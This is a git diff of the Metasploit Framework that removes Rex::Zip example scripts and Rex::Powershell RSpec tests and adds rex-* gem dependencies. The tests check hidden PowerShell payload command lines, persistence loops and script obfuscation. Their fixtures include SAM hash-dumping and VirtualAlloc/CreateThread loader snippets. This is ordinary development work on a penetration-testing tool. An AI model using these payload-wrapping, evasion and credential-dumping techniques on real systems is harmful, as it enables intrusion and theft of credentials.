zip.save_to("test.war")
|
|
@ -1,19 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
#
|
||||
# Add a file from memory and save it.
|
||||
#
|
||||
|
||||
msfbase = __FILE__
|
||||
while File.symlink?(msfbase)
|
||||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||
end
|
||||
inc = File.dirname(msfbase) + '/../../..'
|
||||
$:.unshift(inc)
|
||||
|
||||
require 'rex/zip'
|
||||
|
||||
# example usage
|
||||
zip = Rex::Zip::Archive.new
|
||||
zip.add_file("elite.txt", "A" * 1024)
|
||||
zip.save_to("lolz.zip")
|
|
@ -1,58 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
msfbase = __FILE__
|
||||
while File.symlink?(msfbase)
|
||||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||
end
|
||||
inc = File.dirname(msfbase) + '/../../..'
|
||||
$:.unshift(inc)
|
||||
|
||||
require 'rex/zip'
|
||||
|
||||
out = "test.zip"
|
||||
dir = "/var/www"
|
||||
|
||||
|
||||
def add_file(zip, path)
|
||||
zip.add_file(path)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# If it's a directory, Walk the directory and add each item
|
||||
#
|
||||
def add_files(zip, path, recursive = nil)
|
||||
|
||||
if (not add_file(zip, path))
|
||||
return nil
|
||||
end
|
||||
|
||||
if (recursive and File.stat(path).directory?)
|
||||
begin
|
||||
dir = Dir.open(path)
|
||||
rescue
|
||||
# skip this file
|
||||
return nil
|
||||
end
|
||||
|
||||
dir.each { |f|
|
||||
next if (f == '.')
|
||||
next if (f == '..')
|
||||
|
||||
full_path = path + '/' + f
|
||||
st = File.stat(full_path)
|
||||
if (st.directory?)
|
||||
puts "adding dir #{full_path}"
|
||||
add_files(zip, full_path, recursive)
|
||||
elsif (st.file?)
|
||||
puts "adding file #{full_path}"
|
||||
add_file(zip, full_path)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
zip = Rex::Zip::Archive.new
|
||||
add_files(zip, dir, TRUE)
|
||||
zip.save_to(out)
|
|
@ -97,6 +97,20 @@ Gem::Specification.new do |spec|
|
|||
# TimeZone info
|
||||
spec.add_runtime_dependency 'tzinfo-data'
|
||||
|
||||
#
|
||||
# REX Libraries
|
||||
#
|
||||
# Text manipulation library for things like generating random string
|
||||
spec.add_runtime_dependency 'rex-text'
|
||||
# Library for Generating Randomized strings valid as Identifiers such as variable names
|
||||
spec.add_runtime_dependency 'rex-random_identifier'
|
||||
# library for creating Powershell scripts for exploitation purposes
|
||||
spec.add_runtime_dependency 'rex-powershell'
|
||||
# Library for processing and creating Zip compatbile archives
|
||||
spec.add_runtime_dependency 'rex-zip'
|
||||
# Library for parsing offline Windows Registry files
|
||||
spec.add_runtime_dependency 'rex-registry'
|
||||
|
||||
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
|
||||
# NoMethodError undefined method `dlopen' for Fiddle:Module
|
||||
unless Gem.win_platform?
|
||||
|
|
|
@ -1,407 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
require 'msf/core'
|
||||
|
||||
def decompress(code)
|
||||
Rex::Powershell::Script.new(code).decompress_code
|
||||
end
|
||||
|
||||
RSpec.describe Rex::Powershell::Command do
|
||||
let(:example_script) do
|
||||
File.join(Msf::Config.data_directory, "exploits", "powershell", "powerdump.ps1")
|
||||
end
|
||||
|
||||
let(:payload) do
|
||||
Rex::Text.rand_text_alpha(120)
|
||||
end
|
||||
|
||||
let(:arch) do
|
||||
'x86'
|
||||
end
|
||||
|
||||
describe "::encode_script" do
|
||||
it 'should read and encode a sample script file' do
|
||||
script = subject.encode_script(example_script)
|
||||
expect(script).to be
|
||||
expect(script.length).to be > 0
|
||||
end
|
||||
end
|
||||
|
||||
describe "::compress_script" do
|
||||
context 'with default options' do
|
||||
it 'should create a compressed script' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
expect(compressed.length).to be < script.length
|
||||
expect(compressed.include?('IO.Compression')).to be_truthy
|
||||
end
|
||||
|
||||
it 'should create a compressed script with eof' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, 'end_of_file')
|
||||
expect(compressed.include?('end_of_file')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when strip_comments is true' do
|
||||
it 'should strip comments' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, nil, strip_comments: true)
|
||||
expect(compressed.length).to be < script.length
|
||||
end
|
||||
end
|
||||
context 'when strip_comment is false' do
|
||||
it 'shouldnt strip comments' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, nil, strip_comments: false)
|
||||
expect(compressed.length).to be < script.length
|
||||
end
|
||||
end
|
||||
|
||||
context 'when strip_whitespace is true' do
|
||||
it 'should strip whitespace' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, nil, strip_comments: false, strip_whitespace: true)
|
||||
expect(decompress(compressed).length).to be < script.length
|
||||
end
|
||||
end
|
||||
|
||||
context 'when strip_whitespace is false' do
|
||||
it 'shouldnt strip whitespace' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, nil, strip_comments: false, strip_whitespace: false)
|
||||
expect(decompress(compressed).length).to eq(script.length)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when sub_vars is true' do
|
||||
it 'should substitute variables' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, nil, sub_vars: true)
|
||||
expect(decompress(compressed).include?('$hashes')).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
context 'when sub_vars is false' do
|
||||
it 'shouldnt substitute variables' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, nil, sub_vars: false)
|
||||
expect(decompress(compressed).include?('$hashes')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when sub_funcs is true' do
|
||||
it 'should substitute functions' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, nil, sub_funcs: true)
|
||||
expect(decompress(compressed).include?('DumpHashes')).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
context 'when sub_funcs is false' do
|
||||
it 'shouldnt substitute variables' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, nil, sub_funcs: false)
|
||||
expect(decompress(compressed).include?('DumpHashes')).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "::run_hidden_psh" do
|
||||
let(:encoded) do
|
||||
false
|
||||
end
|
||||
|
||||
context 'when x86 payload' do
|
||||
it 'should generate code' do
|
||||
code = subject.run_hidden_psh(payload, arch, encoded)
|
||||
expect(code.include?('syswow64')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when x64 payload' do
|
||||
it 'should generate code' do
|
||||
code = subject.run_hidden_psh(payload, 'x86_64', encoded)
|
||||
expect(code.include?('sysnative')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when encoded' do
|
||||
it 'should generate a code including an encoded command' do
|
||||
code = subject.run_hidden_psh(payload, arch, true)
|
||||
expect(code.include?('-nop -w hidden -e ')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when command' do
|
||||
it 'should generate code including a -c command' do
|
||||
code = subject.run_hidden_psh(payload, arch, encoded)
|
||||
expect(code.include?('-nop -w hidden -c ')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when old' do
|
||||
it 'should generate a code including unshorted args' do
|
||||
code = subject.run_hidden_psh(payload, arch, encoded, method: 'old')
|
||||
expect(code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ')).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "::cmd_psh_payload" do
|
||||
let(:template_path) do
|
||||
File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
end
|
||||
|
||||
let(:psh_method) do
|
||||
'reflection'
|
||||
end
|
||||
|
||||
context 'when payload is huge' do
|
||||
it 'should raise an exception' do
|
||||
except = false
|
||||
begin
|
||||
code = subject.cmd_psh_payload(Rex::Text.rand_text_alpha(12000), arch, template_path, method: psh_method)
|
||||
rescue RuntimeError => e
|
||||
except = true
|
||||
end
|
||||
|
||||
expect(except).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when persist is true' do
|
||||
it 'should add a persistance loop' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, persist: true, method: psh_method)
|
||||
expect(decompress(code).include?('while(1){Start-Sleep -s ')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when persist is false' do
|
||||
it 'shouldnt add a persistance loop' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, persist: false, method: psh_method)
|
||||
expect(decompress(code).include?('while(1){Start-Sleep -s ')).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
context 'when prepend_sleep is set' do
|
||||
it 'should prepend sleep' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, prepend_sleep: 5, method: psh_method)
|
||||
expect(decompress(code).include?('Start-Sleep -s ')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when prepend_sleep isnt set' do
|
||||
it 'shouldnt prepend sleep' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, method: psh_method)
|
||||
expect(decompress(code).include?('Start-Sleep -s ')).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
context 'when prepend_sleep is 0' do
|
||||
it 'shouldnt prepend sleep' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, prepend_sleep: 0, method: psh_method)
|
||||
expect(decompress(code).include?('Start-Sleep -s ')).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
context 'when method is old' do
|
||||
it 'should generate a command line' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old')
|
||||
expect(decompress(code).include?('-namespace Win32Functions')).to be_truthy
|
||||
end
|
||||
it 'shouldnt shorten args' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old')
|
||||
expect(code.include?('-NoProfile -WindowStyle hidden -Command')).to be_truthy
|
||||
end
|
||||
it 'should include -NoExit' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old')
|
||||
expect(code.include?('-NoProfile -WindowStyle hidden -NoExit -Command')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when method is net' do
|
||||
it 'should generate a command line' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'net')
|
||||
expect(decompress(code).include?('System.Runtime.InteropServices;')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when method is reflection' do
|
||||
it 'should generate a command line' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'reflection')
|
||||
expect(decompress(code).include?('GlobalAssemblyCache')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when method is msil' do
|
||||
it 'should raise an exception' do
|
||||
except = false
|
||||
begin
|
||||
subject.cmd_psh_payload(payload, arch, template_path, method: 'msil')
|
||||
rescue RuntimeError
|
||||
except = true
|
||||
end
|
||||
expect(except).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when method is unknown' do
|
||||
it 'should raise an exception' do
|
||||
except = false
|
||||
begin
|
||||
subject.cmd_psh_payload(payload, arch, template_path, method: 'blah')
|
||||
rescue RuntimeError
|
||||
except = true
|
||||
end
|
||||
expect(except).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when encode_inner_payload' do
|
||||
it 'should contain an inner payload with -e' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, encode_inner_payload: true, method: psh_method)
|
||||
expect(code.include?(' -e ')).to be_truthy
|
||||
end
|
||||
|
||||
context 'when no_equals is true' do
|
||||
it 'should raise an exception' do
|
||||
except = false
|
||||
begin
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, encode_inner_payload: true, no_equals: true, method: psh_method)
|
||||
rescue RuntimeError
|
||||
except = true
|
||||
end
|
||||
expect(except).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'when encode_final_payload' do
|
||||
context 'when no_equals is false' do
|
||||
it 'should contain a final payload with -e' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, no_equals: false, method: psh_method)
|
||||
expect(code.include?(' -e ')).to be_truthy
|
||||
expect(code.include?(' -c ')).to be_falsey
|
||||
end
|
||||
end
|
||||
context 'when no_equals is true' do
|
||||
it 'should contain a final payload with -e' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, no_equals: true, method: psh_method)
|
||||
expect(code.include?(' -e ')).to be_truthy
|
||||
expect(code.include?(' -c ')).to be_falsey
|
||||
expect(code.include?('=')).to be_falsey
|
||||
end
|
||||
end
|
||||
context 'when encode_inner_payload is true' do
|
||||
it 'should raise an exception' do
|
||||
except = false
|
||||
begin
|
||||
subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, encode_inner_payload: true, method: psh_method)
|
||||
rescue RuntimeError
|
||||
except = true
|
||||
end
|
||||
expect(except).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'when remove_comspec' do
|
||||
it 'shouldnt contain %COMSPEC%' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, remove_comspec: true, method: psh_method)
|
||||
expect(code.include?('%COMSPEC%')).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
context 'when use single quotes' do
|
||||
it 'should wrap in single quotes' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, use_single_quotes: true, method: psh_method)
|
||||
expect(code.include?(' -c \'')).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "::generate_psh_command_line" do
|
||||
it 'should contain no full stop when :no_full_stop' do
|
||||
opts = {:no_full_stop => true}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
expect(command.include?("powershell ")).to be_truthy
|
||||
end
|
||||
|
||||
it 'should contain full stop unless :no_full_stop' do
|
||||
opts = {}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
expect(command.include?("powershell.exe ")).to be_truthy
|
||||
|
||||
opts = {:no_full_stop => false}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
expect(command.include?("powershell.exe ")).to be_truthy
|
||||
end
|
||||
|
||||
it 'should ensure the path should always ends with \\' do
|
||||
opts = {:path => "test"}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
expect(command.include?("test\\powershell.exe ")).to be_truthy
|
||||
|
||||
opts = {:path => "test\\"}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
expect(command.include?("test\\powershell.exe ")).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
describe "::generate_psh_args" do
|
||||
it 'should return empty string for nil opts' do
|
||||
expect(subject.generate_psh_args(nil)).to eql ""
|
||||
end
|
||||
|
||||
command_args = [[:encodedcommand, "parp"],
|
||||
[:executionpolicy, "bypass"],
|
||||
[:inputformat, "xml"],
|
||||
[:file, "x"],
|
||||
[:noexit, true],
|
||||
[:nologo, true],
|
||||
[:noninteractive, true],
|
||||
[:mta, true],
|
||||
[:outputformat, 'xml'],
|
||||
[:sta, true],
|
||||
[:noprofile, true],
|
||||
[:windowstyle, "hidden"],
|
||||
[:command, "Z"]
|
||||
]
|
||||
|
||||
permutations = (0..command_args.length).to_a.combination(2).map{|i,j| command_args[i...j]}
|
||||
|
||||
permutations.each do |perms|
|
||||
opts = {}
|
||||
perms.each do |k,v|
|
||||
opts[k] = v
|
||||
it "should generate correct arguments for #{opts}" do
|
||||
opts[:shorten] = true
|
||||
short_args = subject.generate_psh_args(opts)
|
||||
opts[:shorten] = false
|
||||
long_args = subject.generate_psh_args(opts)
|
||||
|
||||
opt_length = opts.length - 1
|
||||
|
||||
expect(short_args).not_to be_nil
|
||||
expect(long_args).not_to be_nil
|
||||
expect(short_args.count('-')).to eql opt_length
|
||||
expect(long_args.count('-')).to eql opt_length
|
||||
expect(short_args[0]).not_to eql " "
|
||||
expect(long_args[0]).not_to eql " "
|
||||
expect(short_args[-1]).not_to eql " "
|
||||
expect(long_args[-1]).not_to eql " "
|
||||
|
||||
if opts[:command]
|
||||
expect(long_args[-10..-1]).to eql "-Command Z"
|
||||
expect(short_args[-4..-1]).to eql "-c Z"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,85 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/powershell'
|
||||
|
||||
RSpec.describe Rex::Powershell::Function do
|
||||
|
||||
let(:function_name) do
|
||||
Rex::Text.rand_text_alpha(15)
|
||||
end
|
||||
|
||||
let(:example_function_without_params) do
|
||||
"""
|
||||
{
|
||||
ls HKLM:\SAM\SAM\Domains\Account\Users |
|
||||
where {$_.PSChildName -match \"^[0-9A-Fa-f]{8}$\"} |
|
||||
Add-Member AliasProperty KeyName PSChildName -PassThru |
|
||||
Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
|
||||
Add-Member ScriptProperty V {[byte[]]($this.GetValue(\"V\"))} -PassThru |
|
||||
Add-Member ScriptProperty UserName {Get-UserName($this.GetValue(\"V\"))} -PassThru |
|
||||
Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue(\"V\")[0x9c..0x9f],0) + 0xCC} -PassThru
|
||||
}"""
|
||||
end
|
||||
|
||||
let(:example_function_with_params) do
|
||||
"""
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([Type])]
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void],
|
||||
|
||||
[String]$Parpy='hello',
|
||||
[Integer] $puppy = 1,
|
||||
|
||||
[Array[]] $stuff = Array[],
|
||||
)
|
||||
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
Write-Output $TypeBuilder.CreateType()
|
||||
}"""
|
||||
end
|
||||
|
||||
describe "::initialize" do
|
||||
it 'should handle a function without params' do
|
||||
function = Rex::Powershell::Function.new(function_name, example_function_without_params)
|
||||
expect(function.name).to eq function_name
|
||||
expect(function.code).to eq example_function_without_params
|
||||
expect(function.to_s.include?("function #{function_name} #{example_function_without_params}")).to be_truthy
|
||||
expect(function.params).to be_kind_of Array
|
||||
expect(function.params.empty?).to be_truthy
|
||||
end
|
||||
|
||||
it 'should handle a function with params' do
|
||||
function = Rex::Powershell::Function.new(function_name, example_function_with_params)
|
||||
expect(function.name).to eq function_name
|
||||
expect(function.code).to eq example_function_with_params
|
||||
expect(function.to_s.include?("function #{function_name} #{example_function_with_params}")).to be_truthy
|
||||
expect(function.params).to be_kind_of Array
|
||||
expect(function.params.length).to be == 5
|
||||
expect(function.params[0].klass).to eq 'Type[]'
|
||||
expect(function.params[0].name).to eq 'Parameters'
|
||||
expect(function.params[1].klass).to eq 'Type'
|
||||
expect(function.params[1].name).to eq 'ReturnType'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,232 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/powershell'
|
||||
|
||||
RSpec.describe Rex::Powershell::Obfu do
|
||||
|
||||
let(:example_script_without_literal) do
|
||||
"""
|
||||
function Find-4624Logons
|
||||
{
|
||||
|
||||
<#
|
||||
|
||||
multiline_comment
|
||||
|
||||
#>
|
||||
\r\n\r\n\r\n
|
||||
\r\n
|
||||
|
||||
lots \t of whitespace
|
||||
|
||||
\n\n\n\n\n
|
||||
\n\n
|
||||
|
||||
|
||||
# single_line_comment1
|
||||
# single_line_comment2
|
||||
#
|
||||
# single_line_comment3
|
||||
if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\"))
|
||||
{
|
||||
$Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
|
||||
if (-not $ReturnInfo.ContainsKey($Key))
|
||||
{
|
||||
$Properties = @{
|
||||
LogType = 4624
|
||||
LogSource = \"Security\"
|
||||
SourceAccountName = $AccountName
|
||||
SourceDomainName = $AccountDomain
|
||||
NewLogonAccountName = $NewLogonAccountName
|
||||
NewLogonAccountDomain = $NewLogonAccountDomain
|
||||
LogonType = $LogonType
|
||||
WorkstationName = $WorkstationName
|
||||
SourceNetworkAddress = $SourceNetworkAddress
|
||||
SourcePort = $SourcePort
|
||||
Count = 1
|
||||
Times = @($Logon.TimeGenerated)
|
||||
}
|
||||
|
||||
$ResultObj = New-Object PSObject -Property $Properties
|
||||
$ReturnInfo.Add($Key, $ResultObj)
|
||||
}
|
||||
else
|
||||
{
|
||||
$ReturnInfo[$Key].Count++
|
||||
$ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
|
||||
}
|
||||
}
|
||||
}
|
||||
}"""
|
||||
|
||||
end
|
||||
|
||||
let(:example_script) do
|
||||
"""
|
||||
function Find-4624Logons
|
||||
{
|
||||
|
||||
<#
|
||||
|
||||
multiline_comment
|
||||
|
||||
#>
|
||||
\r\n\r\n\r\n
|
||||
\r\n
|
||||
|
||||
lots \t of whitespace
|
||||
|
||||
\n\n\n\n\n
|
||||
\n\n
|
||||
|
||||
|
||||
# single_line_comment1
|
||||
# single_line_comment2
|
||||
#
|
||||
# single_line_comment3
|
||||
$some_literal = @\"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
namespace $kernel32 {
|
||||
public class func {
|
||||
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
|
||||
[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
|
||||
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
|
||||
[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
|
||||
}
|
||||
}
|
||||
\"@
|
||||
if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\"))
|
||||
{
|
||||
$Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
|
||||
if (-not $ReturnInfo.ContainsKey($Key))
|
||||
{
|
||||
$Properties = @{
|
||||
LogType = 4624
|
||||
LogSource = \"Security\"
|
||||
SourceAccountName = $AccountName
|
||||
SourceDomainName = $AccountDomain
|
||||
NewLogonAccountName = $NewLogonAccountName
|
||||
NewLogonAccountDomain = $NewLogonAccountDomain
|
||||
LogonType = $LogonType
|
||||
WorkstationName = $WorkstationName
|
||||
SourceNetworkAddress = $SourceNetworkAddress
|
||||
SourcePort = $SourcePort
|
||||
Count = 1
|
||||
Times = @($Logon.TimeGenerated)
|
||||
}
|
||||
$literal2 = @\"parp\"@
|
||||
$ResultObj = New-Object PSObject -Property $Properties
|
||||
$ReturnInfo.Add($Key, $ResultObj)
|
||||
}
|
||||
else
|
||||
{
|
||||
$ReturnInfo[$Key].Count++
|
||||
$ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
|
||||
}
|
||||
}
|
||||
}
|
||||
}"""
|
||||
|
||||
end
|
||||
|
||||
let(:subject) do
|
||||
Rex::Powershell::Script.new(example_script)
|
||||
end
|
||||
|
||||
let(:subject_no_literal) do
|
||||
Rex::Powershell::Script.new(example_script_without_literal)
|
||||
end
|
||||
|
||||
describe "::strip_comments" do
|
||||
it 'should strip a multiline comment' do
|
||||
subject.strip_comments
|
||||
expect(subject.code).to be
|
||||
expect(subject.code).to be_kind_of String
|
||||
expect(subject.code.include?('comment')).to be_falsey
|
||||
end
|
||||
|
||||
it 'should strip a single line comment' do
|
||||
subject.strip_comments
|
||||
expect(subject.code).to be
|
||||
expect(subject.code).to be_kind_of String
|
||||
expect(subject.code.include?('#')).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
describe "::strip_empty_lines" do
|
||||
it 'should strip extra windows new lines' do
|
||||
subject.strip_empty_lines
|
||||
expect(subject.code).to be
|
||||
expect(subject.code).to be_kind_of String
|
||||
res = (subject.code =~ /\r\n\r\n/)
|
||||
expect(res).to be_falsey
|
||||
end
|
||||
|
||||
it 'should strip extra unix new lines' do
|
||||
subject.strip_empty_lines
|
||||
expect(subject.code).to be
|
||||
expect(subject.code).to be_kind_of String
|
||||
res = (subject.code =~ /\n\n/)
|
||||
expect(res).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
describe "::strip_whitespace" do
|
||||
it 'should strip additional whitespace' do
|
||||
subject.strip_whitespace
|
||||
expect(subject.code).to be
|
||||
expect(subject.code).to be_kind_of String
|
||||
expect(subject.code.include?('lots of whitespace')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
describe "::sub_vars" do
|
||||
it 'should replace variables with unique names' do
|
||||
subject.sub_vars
|
||||
expect(subject.code).to be
|
||||
expect(subject.code).to be_kind_of String
|
||||
expect(subject.code.include?('$kernel32')).to be_falsey
|
||||
expect(subject.code.include?('$Logon')).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
describe "::sub_funcs" do
|
||||
it 'should replace functions with unique names' do
|
||||
subject.sub_funcs
|
||||
expect(subject.code).to be
|
||||
expect(subject.code).to be_kind_of String
|
||||
expect(subject.code.include?('Find-4624Logons')).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
describe "::standard_subs" do
|
||||
it 'should run all substitutions on a script with no literals' do
|
||||
subject_no_literal.standard_subs
|
||||
expect(subject_no_literal.code).to be
|
||||
expect(subject_no_literal.code).to be_kind_of String
|
||||
expect(subject_no_literal.code.include?('Find-4624Logons')).to be_falsey
|
||||
expect(subject_no_literal.code.include?('lots of whitespace')).to be_truthy
|
||||
expect(subject_no_literal.code.include?('$kernel32')).to be_falsey
|
||||
expect(subject_no_literal.code.include?('comment')).to be_falsey
|
||||
res = (subject_no_literal.code =~ /\r\n\r\n/)
|
||||
expect(res).to be_falsey
|
||||
end
|
||||
|
||||
it 'should run all substitutions except strip whitespace when literals are present' do
|
||||
subject.standard_subs
|
||||
expect(subject.code).to be
|
||||
expect(subject.code).to be_kind_of String
|
||||
expect(subject.code.include?('Find-4624Logons')).to be_falsey
|
||||
expect(subject.code.include?('lots of whitespace')).to be_falsey
|
||||
expect(subject.code.include?('$kernel32')).to be_falsey
|
||||
expect(subject.code.include?('comment')).to be_falsey
|
||||
res = (subject.code =~ /\r\n\r\n/)
|
||||
expect(res).to be_falsey
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -1,115 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/powershell'
|
||||
|
||||
RSpec.describe Rex::Powershell::Output do
|
||||
|
||||
let(:example_script) do
|
||||
Rex::Text.rand_text_alpha(400)
|
||||
end
|
||||
|
||||
let(:subject) do
|
||||
Rex::Powershell::Script.new(example_script)
|
||||
end
|
||||
|
||||
let(:eof) do
|
||||
Rex::Text.rand_text_alpha(10)
|
||||
end
|
||||
|
||||
describe "::to_s" do
|
||||
it 'should print the script' do
|
||||
expect(subject.to_s).to eq example_script
|
||||
end
|
||||
end
|
||||
|
||||
describe "::size" do
|
||||
it 'should return the size of the script' do
|
||||
expect(subject.size).to eq example_script.size
|
||||
end
|
||||
end
|
||||
|
||||
describe "::to_s_lineno" do
|
||||
it 'should print the script with line numbers' do
|
||||
expect(subject.to_s_lineno).to eq "0: #{example_script}"
|
||||
end
|
||||
end
|
||||
|
||||
describe "::deflate_code" do
|
||||
it 'should zlib the code and wrap in powershell in uncompression stub' do
|
||||
compressed = subject.deflate_code
|
||||
expect(compressed.include?('IO.Compression.DeflateStream')).to be_truthy
|
||||
compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/
|
||||
expect($1.size).to be < Rex::Text.encode_base64(example_script).size
|
||||
expect(compressed).to eq subject.code
|
||||
end
|
||||
|
||||
it 'should append an eof marker if specified' do
|
||||
compressed = subject.deflate_code(eof)
|
||||
expect(compressed.include?("echo '#{eof}';")).to be_truthy
